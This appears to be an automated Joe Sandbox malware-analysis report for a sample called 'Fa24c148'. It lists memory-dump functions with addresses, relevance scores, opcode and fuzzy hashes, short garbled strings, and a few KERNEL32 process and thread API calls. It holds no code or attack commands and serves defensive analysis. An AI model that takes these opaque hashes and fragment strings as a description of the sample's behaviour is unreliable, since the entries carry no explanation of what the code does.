Opcode ID: ce334c8f2f9e2cc9d39ca73e2078324a0efe54c7ecfbe3854816e6be4639bc6e
Instruction ID: c52a1b6bd2d478daa3e8fa2780dbf53a91934c29df7b4e76e0e00056cf498ee1
Opcode Fuzzy Hash: ce334c8f2f9e2cc9d39ca73e2078324a0efe54c7ecfbe3854816e6be4639bc6e
Instruction Fuzzy Hash: 4CD18E74E00218CFEB54DFA5C994B9DBBB2BF89300F6081A9D409AB364DB359E85CF54

Function 35E68FB0 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2955573596.0000000035E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 35E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_35e60000_Fa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f359c73530b42e4d917b11c5f369597e389459704d80718274783e77949e71c
Instruction ID: 304b71f192a4f0e87e7fc0ec3689e250290a0c15594f7efc3d9c8a16e8d1a33f
Opcode Fuzzy Hash: 5f359c73530b42e4d917b11c5f369597e389459704d80718274783e77949e71c
Instruction Fuzzy Hash: 87D18D74E00218DFDB54DFA5C994B9DBBB2AF89300F1081A9D809BB364DB355D86CF15

Function 35782968 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2955195873.0000000035780000.00000040.00000800.00020000.00000000.sdmp, Offset: 35780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_35780000_Fa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f40ab24a78fadc363a5664dfc07a2830030bb94635bd777742291f6a9775d43f
Instruction ID: 2fdd9a15313df0c32c066b34eafc5edf3307aab7dc7d50bc13e422edc61e7b13
Opcode Fuzzy Hash: f40ab24a78fadc363a5664dfc07a2830030bb94635bd777742291f6a9775d43f
Instruction Fuzzy Hash: A8C19074E00218DFDB14DFA5C945B9DBBB2FF88301F1081A9E809AB365DB359A86CF50

Function 3578DE00 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2955195873.0000000035780000.00000040.00000800.00020000.00000000.sdmp, Offset: 35780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_35780000_Fa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6b0f81cac66fcd410cb78201401fc20ee64960a2e73fef11e7ff2350c3b171c
Instruction ID: 2a5a12f2c7bf33e56f8f14859f5939d1affec9e8f716af3ed1de488dbf7a5118
Opcode Fuzzy Hash: e6b0f81cac66fcd410cb78201401fc20ee64960a2e73fef11e7ff2350c3b171c
Instruction Fuzzy Hash: A9C19E74E00218DFDB14DFA5C985B9DBBB2BF89300F2081A9D809AB365DB359E85CF51

Function 36833E60 Relevance: .3, Instructions: 251COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2956210818.0000000036830000.00000040.00000800.00020000.00000000.sdmp, Offset: 36830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36830000_Fa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2240c999454aa0d2b68f2e4556887f5ce712e5e3a25a79b9801867ffca0d384d
Instruction ID: 889a0d98deaf98781e3227b263c5370781e84bdd593609f532f0ab62db515f9e
Opcode Fuzzy Hash: 2240c999454aa0d2b68f2e4556887f5ce712e5e3a25a79b9801867ffca0d384d
Instruction Fuzzy Hash: 99914B75D01619DFEB04AFA0C8987EEBBB1FB5A306F105419E102772E1CB784A45CFA9

Function 36833E70 Relevance: .2, Instructions: 247COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2956210818.0000000036830000.00000040.00000800.00020000.00000000.sdmp, Offset: 36830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36830000_Fa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bdcf0fec8606cf5cabab594dcbe76cbc8c570d7b09ec839a1e8976a7cdb0bb5
Instruction ID: 159a82e3d06dfef49cc1b3ab64e8613806731082389569974c048231003e527c
Opcode Fuzzy Hash: 9bdcf0fec8606cf5cabab594dcbe76cbc8c570d7b09ec839a1e8976a7cdb0bb5
Instruction Fuzzy Hash: A8914B75D01619DFEB04AFA0C8987EEBBB5FB5A306F105419E102772D0CB784A45CF99

Function 35782DC8 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2955195873.0000000035780000.00000040.00000800.00020000.00000000.sdmp, Offset: 35780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_35780000_Fa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5943cbff19675470728f8763b11f67bd99d3db65bc121c083bdcaebf9475ead7
Instruction ID: a5ac9fe1b55ab7711ae672906418826af51e5461544012ad12afbc3101e239da
Opcode Fuzzy Hash: 5943cbff19675470728f8763b11f67bd99d3db65bc121c083bdcaebf9475ead7
Instruction Fuzzy Hash: 5AA1F474E002088FDB14DFA9C985BDDBBB1FF88314F209269E409BB2A1DB749985CF55

Function 35781E80 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2955195873.0000000035780000.00000040.00000800.00020000.00000000.sdmp, Offset: 35780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_35780000_Fa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 382cb0e531bf4fed600cd879b601ab6b601634c743ec85df2e1edb516fc61197
Instruction ID: 4593adcd20622ff8aecf364ef4fc5bfe607870044e9e01f4936bf8d3f8b27c09
Opcode Fuzzy Hash: 382cb0e531bf4fed600cd879b601ab6b601634c743ec85df2e1edb516fc61197
Instruction Fuzzy Hash: 0BA1A2B4E012288FEB64CF6AC944B9DFBF2BF88301F14C1A9D409AB254DB745A85CF51

Function 357817A0 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2955195873.0000000035780000.00000040.00000800.00020000.00000000.sdmp, Offset: 35780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_35780000_Fa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1364bbbb9b347b45b919c1d41d6f8af1c7d440855eea8bccf82efd0d3e4db3e2
Instruction ID: 3ed73a9074547dbcd6de9954f5be2323854d0b9462f107e8ebb985151a498cbc
Opcode Fuzzy Hash: 1364bbbb9b347b45b919c1d41d6f8af1c7d440855eea8bccf82efd0d3e4db3e2
Instruction Fuzzy Hash: 72A192B5E01269CFEB64CF6AC944B9DBBF2BF88300F14D1A9D408A7250DB745A85CF51

Function 35782DB8 Relevance: .2, Instructions: 212COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2955195873.0000000035780000.00000040.00000800.00020000.00000000.sdmp, Offset: 35780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_35780000_Fa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f59ecac0d81f4acf0e06ab953c84ebd7454455b5a1acefe6649eb0319d5c568
Instruction ID: ca3a771e752e125d7c54ec5d75263103c61279f779d2ce1db2ee92e8c8f820be
Opcode Fuzzy Hash: 3f59ecac0d81f4acf0e06ab953c84ebd7454455b5a1acefe6649eb0319d5c568
Instruction Fuzzy Hash: 8F91E574D002088FDB14DFA9C985BDDBBB1FF88304F209269E409BB2A1DB759985CF54

Function 3578310E Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2955195873.0000000035780000.00000040.00000800.00020000.00000000.sdmp, Offset: 35780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_35780000_Fa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e47f9b3817d26da1fd818d80264eea822dcbf88653f76e492cf896e8696227de
Instruction ID: c74af24c2c013b1eea65fa57b9107c714e107123bc26a4bbfa89d90ddd33a1bd
Opcode Fuzzy Hash: e47f9b3817d26da1fd818d80264eea822dcbf88653f76e492cf896e8696227de
Instruction Fuzzy Hash: B491F374D00608CFEB10DFA9C889B9CBBB1FF49314F209269E409BB291DB759985CF14

Function 3578FC68 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2955195873.0000000035780000.00000040.00000800.00020000.00000000.sdmp, Offset: 35780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_35780000_Fa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0235cdf3f965ccf02b0fc3f66a40559b7bc0dfea10bfec40978b6cb72b5a8545
Instruction ID: bae4dfb49f1feae4c04595882e71e1b98e53f40e33b94749f3b996cbac4c9a9e
Opcode Fuzzy Hash: 0235cdf3f965ccf02b0fc3f66a40559b7bc0dfea10bfec40978b6cb72b5a8545
Instruction Fuzzy Hash: A2819E74E00618CFDB04DFA9C995A9DBBB2FF89300F608129E805BB364DB359986CF54

Function 367E70C0 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2956050543.00000000367E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 367E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_367e0000_Fa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5ca9c30e2cc16a355dc67291b4dc023f4698aa0d9e0c80ef72356ba350f9229
Instruction ID: 4292b1a76845ef1d1abf50a320ee163283efa6b4d6f7be12e135aeff190af917
Opcode Fuzzy Hash: b5ca9c30e2cc16a355dc67291b4dc023f4698aa0d9e0c80ef72356ba350f9229
Instruction Fuzzy Hash: 38819E74E00618CFDB04DFA9C994A9DBBB2FF89304F608169E805BB364DB359986CF54

Function 367F8470 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2956079241.00000000367F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 367F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_367f0000_Fa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1d4141ea5ee9b05be5607666d56054459fde7c8a98fbfe634bd312949452997
Instruction ID: 78d29a8ba52bfda628aeb55f8f73a2b2b2f400f0d0995ffcf0a6ec345fda9d3c
Opcode Fuzzy Hash: b1d4141ea5ee9b05be5607666d56054459fde7c8a98fbfe634bd312949452997
Instruction Fuzzy Hash: D1819E74E00618CFEB04DFA9C994A9DBBB2FF89304F608129E405BB364DB359986CF54

Function 367FFB30 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2956079241.00000000367F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 367F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_367f0000_Fa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13c99bbec9fb56468c459fd253527db0b778c164261eacbff7c97771b4d689ee
Instruction ID: 197f326610807f827f6461526e64411e435ba092ced773c88bc9512356cc6a96
Opcode Fuzzy Hash: 13c99bbec9fb56468c459fd253527db0b778c164261eacbff7c97771b4d689ee
Instruction Fuzzy Hash: 8A818E74E00618CFDB04DFA9C994A9DBBB2FF89304F608129E405BB364DB359986DF54

Function 367ED700 Relevance: .2, Instructions: 176COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2956050543.00000000367E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 367E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_367e0000_Fa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce96e2d9265033a3227d7601f04f00a6cc47d4a0b2ebb78388bae86b46a13ead
Instruction ID: 1a36aee9d0977c73fe3a9b8b6896b1856c4286a88ac284a85fcdbf4bb2bd006c
Opcode Fuzzy Hash: ce96e2d9265033a3227d7601f04f00a6cc47d4a0b2ebb78388bae86b46a13ead
Instruction Fuzzy Hash: F7819F74E412289FDB65DF69D990BDDBBB2BF89300F1080EAD849A7260DB315E81CF44

Function 3578178F Relevance: .2, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2955195873.0000000035780000.00000040.00000800.00020000.00000000.sdmp, Offset: 35780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_35780000_Fa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bb4c9d919aa1d6f56a7a2c6a5fcad0a84c31499588de6230ff4ecbf10bc002d
Instruction ID: 21c2bc92a363ed788e340f93a8e9d990e3ee9b4e7fa8a2d74969285f7b9ef3f6
Opcode Fuzzy Hash: 4bb4c9d919aa1d6f56a7a2c6a5fcad0a84c31499588de6230ff4ecbf10bc002d
Instruction Fuzzy Hash: 678196B5E016198FEB68CF6AC954B9DBBF2BF88300F14C1E9D408A7254DB744A85CF51

Function 0016E97A Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2928164859.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Fa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 304475ae5ce2c7ab82c19e7dcdd7dda9d5fe6c805b5599437437071e45be0587
Instruction ID: cbdc9560420672a65808d5ca885adeb50d7edb8f852133f4321a178aab2c0880
Opcode Fuzzy Hash: 304475ae5ce2c7ab82c19e7dcdd7dda9d5fe6c805b5599437437071e45be0587
Instruction Fuzzy Hash: A851A574E00208DFDB18DFAAD984A9EBBF2FF88300F249129E815AB365DB315945CF54

Function 0016E988 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2928164859.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Fa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a22d54be4775f1f6044e51aa243ba025a50e3a8a10fa8ecba36ef2dc73c95d8
Instruction ID: c42814ffc1c1ae20d6354acb1781b71dc0f123397da6a025a2ee3c4896bbc3de
Opcode Fuzzy Hash: 2a22d54be4775f1f6044e51aa243ba025a50e3a8a10fa8ecba36ef2dc73c95d8
Instruction Fuzzy Hash: CE51A474E00208DFDB18DFAAD984A9DBBF2FF88300F249529E815AB365DB319945CF54

Function 0016D548 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2928164859.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Fa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68053b8a82f93e2ff9d9d8edaa4df3ac520fe52c5065115a6fcc5c7b11545b9d
Instruction ID: 610c846d6c56a53ab2f60e89bc53055a4542e825cf86786317df77dd7e579ebb
Opcode Fuzzy Hash: 68053b8a82f93e2ff9d9d8edaa4df3ac520fe52c5065115a6fcc5c7b11545b9d
Instruction Fuzzy Hash: 84519474E012189FDB44DFA9D9849DDBBF2FF89300F209169E809AB365DB309905CF50

Function 367B6621 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2955971809.00000000367B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 367B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_367b0000_Fa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e51af0bd47cfe5b6b54b2edfcd879c9a58387ff936152fc4c14843fb54f3fe50
Instruction ID: 1e16cef52949d5150c015ae7efd77f2206866d992690bfc2371e6b6568be3ff8
Opcode Fuzzy Hash: e51af0bd47cfe5b6b54b2edfcd879c9a58387ff936152fc4c14843fb54f3fe50
Instruction Fuzzy Hash: 07518F71D043588FEF14CFA6D8942DDBBB2BF8A304FA0D06AC514AB256EB305956CF50

Function 367B6609 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2955971809.00000000367B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 367B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_367b0000_Fa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34a17e7929c2fbb801bdc71d202451e885b45c068526a3b436281912db975db9
Instruction ID: 8edb808b2dfbe189ba2cc3911e83ab85c3a47c4f9f2622b310dbea1f17289209
Opcode Fuzzy Hash: 34a17e7929c2fbb801bdc71d202451e885b45c068526a3b436281912db975db9
Instruction Fuzzy Hash: D2414C74D007188BEF24CFAAD85479DBBF2BF89348FA0D16AD518AB255EB304916CF10

Function 367F09BF Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2956079241.00000000367F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 367F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_367f0000_Fa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85de2df68d962779743df9992cfe0a660d6aa29d863d69ae4899818326c05725
Instruction ID: 66bf085ca5574fe6e23336f4412dd02b4f4e980e6200ac3fb4d1070a63909c6f
Opcode Fuzzy Hash: 85de2df68d962779743df9992cfe0a660d6aa29d863d69ae4899818326c05725
Instruction Fuzzy Hash: D6411274E002188BEB08CFBAD8546DEBBF2BF89304F60D06AD418AB355EB355946CF50

Function 367B6603 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2955971809.00000000367B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 367B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_367b0000_Fa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c297fb1ec3044d0e90aa9e1812cac72cf74f364c098c5254dca6c7965f3140f
Instruction ID: ffa2726baad8d4b4809bcab1066f4350d90fd936b1427a18c282ffab881d257d
Opcode Fuzzy Hash: 8c297fb1ec3044d0e90aa9e1812cac72cf74f364c098c5254dca6c7965f3140f
Instruction Fuzzy Hash: 7E4125B4E002188BEF14CFAAD8447DEBBF2BF89304F60D06AD518AB255EB345956CF50

Function 35781E70 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2955195873.0000000035780000.00000040.00000800.00020000.00000000.sdmp, Offset: 35780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_35780000_Fa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 176274813d5d679df6d776a2f6ac5147ff3ad272841a965677c0a5bcdba06dce
Instruction ID: 07a2d2203d1193f350899b6efd06497db1c836f2818adb0ea5efd81e467bac85
Opcode Fuzzy Hash: 176274813d5d679df6d776a2f6ac5147ff3ad272841a965677c0a5bcdba06dce
Instruction Fuzzy Hash: 0A419BB1E016588BEB58CF6BD94478EFAF3AFC9304F14C1A9D40CA6254DB750A858F51

Function 3578DDF1 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2955195873.0000000035780000.00000040.00000800.00020000.00000000.sdmp, Offset: 35780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_35780000_Fa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c69046fa2c51ae7b388a24a447af8ab6bb3f752a65cbc231ae714c3159cce61
Instruction ID: 91aa0af1f5d6c6d3cf9906a5a021a1627a1ccdda34e2975cb2ae1f33352c14a7
Opcode Fuzzy Hash: 8c69046fa2c51ae7b388a24a447af8ab6bb3f752a65cbc231ae714c3159cce61
Instruction Fuzzy Hash: ED41F5B1E012489BEB08DFAAD9456DEFBF2BF89300F20D12AD418BB254DB355946CF54

Function 367F1CE0 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2956079241.00000000367F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 367F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_367f0000_Fa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e7cb36fb17df937062311a342a1745bf2572f255e5f2c00ae79ff1e031d2260
Instruction ID: 37f3071767ace729dce3cbaa79b7d18ee4ae544e36ea7a68e5c66867be8b7066
Opcode Fuzzy Hash: 6e7cb36fb17df937062311a342a1745bf2572f255e5f2c00ae79ff1e031d2260
Instruction Fuzzy Hash: 154106B4E002188BEB04CFAAD8546DDBBF2BF89300F60D169D418BB354EB355946CF54

Function 367E73D0 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2956050543.00000000367E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 367E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_367e0000_Fa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21922ae98c04434449ab704ec08edf17bc7769bccdba2cc8578bc68a784ccc1a
Instruction ID: a4b4ba989169364b471a52088443c83c1086f46d3a641cd5945c3cbdc54220fe
Opcode Fuzzy Hash: 21922ae98c04434449ab704ec08edf17bc7769bccdba2cc8578bc68a784ccc1a
Instruction Fuzzy Hash: 82311574E012498BDB04CFBAC9446DEBBF2AF8A304F64D52AD418BB254EB345946CF50

Function 367ED401 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2956050543.00000000367E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 367E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_367e0000_Fa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4480c1c3f4f2000eb00850c64de3ec63d2077e6876bdc6693744b7a8d7a4a9da
Instruction ID: 63409a0c990d3fb29515ee266bc434b4e469487a6b91d0290f1d93cca42978d5
Opcode Fuzzy Hash: 4480c1c3f4f2000eb00850c64de3ec63d2077e6876bdc6693744b7a8d7a4a9da
Instruction Fuzzy Hash: BF31F474E012488BDB04CFBAD9446DEBBF2AF8A310F64D02AD418BB254EB345946CF54

Function 367E70AF Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2956050543.00000000367E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 367E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_367e0000_Fa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1005543cd83466ce6e275fbefabf5c015299248a421ddce268e31d3140a6313
Instruction ID: 1f9596b6af6cdda2842396b40304c0d0a6b66f5858f3f8327fe3eda8087f86be
Opcode Fuzzy Hash: f1005543cd83466ce6e275fbefabf5c015299248a421ddce268e31d3140a6313
Instruction Fuzzy Hash: CA31F274E002588BEB08CFEAD8446DEBBF2BF8A300F60D12AD418BB254DB345906CF55

Function 35783FE8 Relevance: 7.9, Strings: 6, Instructions: 423
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hbq, xrefs: 35784036
Hbq, xrefs: 357841D2
TJcq, xrefs: 35784462
Hbq, xrefs: 35784231
8cq, xrefs: 35784429
'Z3U, xrefs: 35784094

Memory Dump Source

Source File: 00000004.00000002.2955195873.0000000035780000.00000040.00000800.00020000.00000000.sdmp, Offset: 35780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_35780000_Fa24c148.jbxd

Similarity

API ID:
String ID: 'Z3U$8cq$Hbq$Hbq$Hbq$TJcq
API String ID: 0-3742257460
Opcode ID: 61234f0272246e328824440f4a066c1434ddd34d2475179540ce1dbc3319d229
Instruction ID: d5c2a3194bdf39a5f70586eb9bc3ff07de86fe179db630f57358861357502fbd
Opcode Fuzzy Hash: 61234f0272246e328824440f4a066c1434ddd34d2475179540ce1dbc3319d229
Instruction Fuzzy Hash: 53E1BD35B042448FD701DB68C891A9E7BB3FF89324F2445AAE505EF3A2CA71DD46CB91

Function 35783A50 Relevance: 7.7, Strings: 6, Instructions: 229
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hbq, xrefs: 35783D21
x4Z3, xrefs: 35783C39
x4Z3, xrefs: 35783BD3
, xrefs: 35783B4D
Hbq, xrefs: 35783CBB
Hbq, xrefs: 35783CEE

Memory Dump Source

Source File: 00000004.00000002.2955195873.0000000035780000.00000040.00000800.00020000.00000000.sdmp, Offset: 35780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_35780000_Fa24c148.jbxd

Similarity

API ID:
String ID: $Hbq$Hbq$Hbq$x4Z3$x4Z3
API String ID: 0-1142271026
Opcode ID: 231191bc3b3f523aa2898c31ff207e13499ad238191d224fade8c11475e61dac
Instruction ID: 7817b056e08780455ea5d544445219f62fe7d03503268325dc517b4c80d94913
Opcode Fuzzy Hash: 231191bc3b3f523aa2898c31ff207e13499ad238191d224fade8c11475e61dac
Instruction Fuzzy Hash: 3281E3347002449BDB156F3CD85666D3AA3FFC5361F244229E81A9B3D1CF358E428B92

Function 00160CA0 Relevance: 6.8, Strings: 5, Instructions: 539
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

p-\3, xrefs: 00160F3A
0(\3, xrefs: 00161799
\~]30 \3, xrefs: 00160F51
8!\3, xrefs: 00160FB7
LR^q, xrefs: 00160F19

Memory Dump Source

Source File: 00000004.00000002.2928164859.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Fa24c148.jbxd

Similarity

API ID:
String ID: 0(\3$8!\3$LR^q$\~]30 \3$p-\3
API String ID: 0-2760187522
Opcode ID: 6f6db1f6705c9c233633a44a0a568666369efcecf0c365d15c9a3226d8394ca4
Instruction ID: 3b02f26c8a26810c08779b1a6275b4b2261cd652010e44c6098cd0e5f31ba7ad
Opcode Fuzzy Hash: 6f6db1f6705c9c233633a44a0a568666369efcecf0c365d15c9a3226d8394ca4
Instruction Fuzzy Hash: C2528074E00A19CFCB54DF64DD94A99BBB2FF89301F1081A9E409A7364DB346E86CF85

Function 36839968 Relevance: 6.1, APIs: 4, Instructions: 132
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 368399EE
GetCurrentThread.KERNEL32 ref: 36839A2B
GetCurrentProcess.KERNEL32 ref: 36839A68
GetCurrentThreadId.KERNEL32 ref: 36839AC1

Memory Dump Source

Source File: 00000004.00000002.2956210818.0000000036830000.00000040.00000800.00020000.00000000.sdmp, Offset: 36830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36830000_Fa24c148.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 895a771f8c44e634ddfc6aa4d27ef8b8961c5deadc0b735facfb3f7c415df8ac
Instruction ID: 09e863d750ab5ee40e269c4d4662b4198fd76d2eaad1defd53829b54fad657d3
Opcode Fuzzy Hash: 895a771f8c44e634ddfc6aa4d27ef8b8961c5deadc0b735facfb3f7c415df8ac
Instruction Fuzzy Hash: 4F5166B0D002498FDB10CFA9C948BDEBBF1EF89310F208159E149B7260DB749986CF65

Function 36839970 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 368399EE
GetCurrentThread.KERNEL32 ref: 36839A2B
GetCurrentProcess.KERNEL32 ref: 36839A68
GetCurrentThreadId.KERNEL32 ref: 36839AC1

Memory Dump Source

Source File: 00000004.00000002.2956210818.0000000036830000.00000040.00000800.00020000.00000000.sdmp, Offset: 36830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36830000_Fa24c148.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 3f7b5ba25006b89f4a92b7c345e8d554b1a876e76159534fb5bc7446c51ee131
Instruction ID: 1b64defa7a233f52d371fbf6138aaf2b77eb8f288345f52ff6ed13b559ff0bda
Opcode Fuzzy Hash: 3f7b5ba25006b89f4a92b7c345e8d554b1a876e76159534fb5bc7446c51ee131
Instruction Fuzzy Hash: BF5142B4D002498FDB04DFAAC948BEEBBF1EB89310F208159E149B7260DB749985CF65

Function 00165F38 Relevance: 2.8, Strings: 2, Instructions: 266
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hbq, xrefs: 00166056
Hbq, xrefs: 00166023

Memory Dump Source

Source File: 00000004.00000002.2928164859.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Fa24c148.jbxd

Similarity

API ID:
String ID: Hbq$Hbq
API String ID: 0-4258043069
Opcode ID: 083f783d397133cfcac68b62597882d4c76e05f6e647267693f05ceb219f31ed
Instruction ID: 997efa60dab167975cf3c7c6f84ca3a360190275c04c0ac2d8efccd4c8f41bce
